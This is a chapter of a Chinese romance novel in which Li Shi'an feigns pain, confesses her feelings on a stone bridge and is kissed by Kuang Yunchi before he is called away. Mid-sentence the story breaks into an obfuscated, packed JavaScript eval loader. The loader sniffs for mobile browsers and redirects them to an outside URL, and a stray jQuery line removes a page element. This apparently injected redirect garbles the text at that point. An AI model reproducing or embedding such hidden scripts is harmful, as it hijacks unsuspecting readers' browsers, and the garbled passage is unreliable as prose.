李十安遥遥看见况允驰忙碌的身影,离她越来越远。她想着往前走一段路,缩短和他的距离,免得他来回折腾这么多趟。她站了起来,倒是有了一种感觉。 忽然不痛了。 就像当初忽然痛起来一样,痛感又瞬间消失了。 李十安将信将疑地走了两步,确实没有感觉到疼痛,仿佛刚才的那阵疼痛是做梦一样。第一反应是高兴,急着去找况允驰。 回廊两侧的立柱上挂满乳白色小灯笼。况允驰看见走在回廊上的李十安,小跑两步,赶过去。 “怎么不坐着?”况允驰拧开保温杯的杯盖。 为了保存温水,还特意买了个保温杯么。 就是在那一瞬间,李十安犹豫了。她原本计划欢欣鼓舞地告诉况允驰,“我肚子不痛了!”可当真这般轻巧地说出这话,岂不是会让况允驰的付出变得没有意义。 那么忙碌奔波地解决问题,就在快要解决的时候,问题自己消失了。他的努力岂不都是白费。 要不再装一下好了。李十安收起笑容,弯腰弓背,假装肚子还在痛。因为是假装,所以略显浮夸了。她喝一口温热的水,顺一顺腹部。“好些了。” 况允驰取出一粒药,“先止痛。” 还要吃药么……她只是演戏而已,用不着这么逼真吧。她一直不敢接药。 她没动,他也没动。尴尬的沉默。 最后坚持不住,终于说出了真相。“我不痛了,刚才忽然不痛的。”李十安越解释越没底气,“真的,我不是故意整你的。” 况允驰身手摸了摸李十安的脑袋,弯腰,和她平视,“不痛就好,其他都不重要。” 说不出那一刻的感觉。感受到他的温柔,亦或是一瞬间的心动。 *** 李十安换下了襦裙。 小食,彩灯,工艺,乐曲,游戏,构成了缤纷的庙会。和他并肩游园,已经是一段值得珍藏的回忆。 小溪里水声潺潺,岸边柔和灯光一路绵延。顺着小溪一直走到转角处,就能到达停车场。 走到李白雕像的广场前,李十安偶遇一个小学男同学。 “十安!” “诶?” 其实他们也不是今天才见面。昨天下午在单元楼下,两人已经碰面了。聊了一些往事。今天见面,聊的也是往事,一些琐事。 况允驰不方便打扰他们,站得稍往边上一些。不过仍能听见他们的对话。 他们说了许多,说到后来,说起了手串的事。李十安甚至从包里取出一个礼品盒,递给小学同学。礼品盒里是手串。小学同学把手串戴到手腕上,稍微举起一些。 白灰色系的手串。在霓虹灯下耀眼。 倒是有些过于耀眼了。况允驰没有再看。 好不容易才熬到他们的聊天结束。虽然实际也就十分钟而已,但每一秒对况允驰而言都是煎熬。 树木之间的黄色小灯串像闪亮的星子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841096|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 况允驰一路上没怎么说话。李十安察觉到不对劲。 他们同步走上石拱桥。李十安一如往常向上攀登,到达桥顶后发现况允驰没跟上。他不知何时放慢了脚步,直至停留在原处。 闷闷不乐。 应该是在意什么事吧。李十安返回几步,停在况允驰身前。她比他高一个台阶,却仍需要稍抬头,才能看向他的眼睛。 “他是我小学同学,他老婆也是我小学同学。”李十安解释,“他们马上办婚礼,聊了一些婚礼准备的事。” “嗯。” 好像仍然有点郁郁寡欢的样子,他连回复也只有一个字。 李十安问道,“况,你到底怎么了?” 况允驰做了一些心理准备,“我手串呢。”他在意的是,李十安很爽快地给送了小学同学手串。 “喔,这个,”李十安说,“我昨天碰到他,就说送他们手串当结婚礼物。” 这样的解释,似乎更叫人郁闷了。 “对的,小学同学结婚重要些,昨天说的送手串,今天就能拿出来。我这边不着急的,说的明天给,就一直是明天,再拖个一年半载也不要紧的。” 很少一口气说这么长串的话,也知道这种话说起来显得很幼稚,但况允驰好像丢了一些冷静,就是偏偏很在意这一点。 李十安嘟囔,“拖一年半载……我还想拖一辈子呢。” 声音很小,况允驰隐约听到了后半句话,有些不确定,“嗯?” 李十安顿了下。事已至此,不如硬着头皮一口气把心里话全部说出口。她抬头,与况允驰面对面。赤诚地看向他的眼睛。 “一直拖着不给你,我就一直有机会找你。”李十安攥着拳头—— “况,我想和你一直有明天。” 清风拂面,柳条荡漾,滑过湖面,惹起阵阵涟漪。 一时之间沉默了。能听见金鱼从湖底触碰湖面的窸窣声音。 李十安浑身有些发热。闷热蔓延,耳廓也逐渐变得红润。她不自在,轻声提醒了一句,“你要不……回我一句话?不然这样显得我很尴……” 他倾身,吻了上去。 七月的吻,带点潮湿空气的氤氲,柔软温和的触碰。 闭上眼睛。被他含住唇瓣,轻轻吮吸。 从最初的懵懂,变为意乱,变为情不自禁的仰头迎合。 陷入带有湿糯意味的漩涡。 楼宇的霓虹轮廓倒映在湖面之中。 一只小船划破湖面上的缤纷霓虹之后,他放开了她,替她擦了下嘴角。 面色红润。不敢呼吸的小心翼翼。 拱桥下的长亭旁,忽然响起了三姨的呼喊,“十安!” 李十安这才想起来,约好了今晚得去三姨家团聚。三姨按照李十安之前给出的时间,特地赶过来接李十安。 “我得先走了……三姨找我。”李十安支支吾吾,“那……呃……” 况允驰笑了下,应道,“去吧。” *** 参加三姨家的聚会,李十安全程心不在焉。好几次悄悄拿出手机,点开聊天页面。不知道为什么,况允驰一直没给她发消息。 总算熬到聚会结束,李十安回到家中。 洗漱完毕,躺在床上,准备睡觉。睡觉前,李十安习惯性等着况允驰的晚安。这条消息总该要发的吧?这段时间以来,他每天都会给她发晚安的,从没间断过。 一直等到十二点半。她都困了。 想着干脆今晚换做她给他发吧。李十安在键盘上,正在编辑文字,况允驰终于发来了一条消息。 不是晚安。 [十安,青大项目紧急召回,我得先走。]